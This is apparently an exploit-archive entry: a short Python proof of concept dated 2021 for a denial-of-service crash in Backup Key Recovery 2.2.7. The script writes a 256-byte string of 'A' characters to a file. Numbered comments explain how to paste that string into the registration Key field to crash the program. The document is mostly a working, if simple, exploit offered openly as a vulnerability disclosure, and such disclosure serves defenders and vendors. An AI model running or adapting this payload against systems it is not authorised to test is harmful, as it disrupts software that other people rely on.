21 lines
No EOL
607 B
Python
Executable file
21 lines
No EOL
607 B
Python
Executable file
# Exploit Title: Backup Key Recovery 2.2.7 - Denial of Service (PoC)
|
|
# Date: 07/06/2021
|
|
# Author: Erick Galindo
|
|
# Vendor Homepage: http://www.nsauditor.com
|
|
# Software http://www.nsauditor.com/downloads/backeyrecovery_setup.exe
|
|
# Version: 2.2.7.0
|
|
# Tested on: Windows 10 Pro x64 es
|
|
|
|
# Proof of Concept:
|
|
#1.- Copy printed "AAAAA..." string to clipboard!
|
|
#2.- Open BackupKeyRecovery.exe
|
|
#3.- Go to Register > Enter Registration Code...
|
|
#4.- Write anything in 'Name' field
|
|
#5.- Paste clipboard in 'Key' field
|
|
#6.- Click on button -> Ok
|
|
|
|
buffer = "\x41" * 256
|
|
|
|
f = open ("poc.txt", "w")
|
|
f.write(buffer)
|
|
f.close() |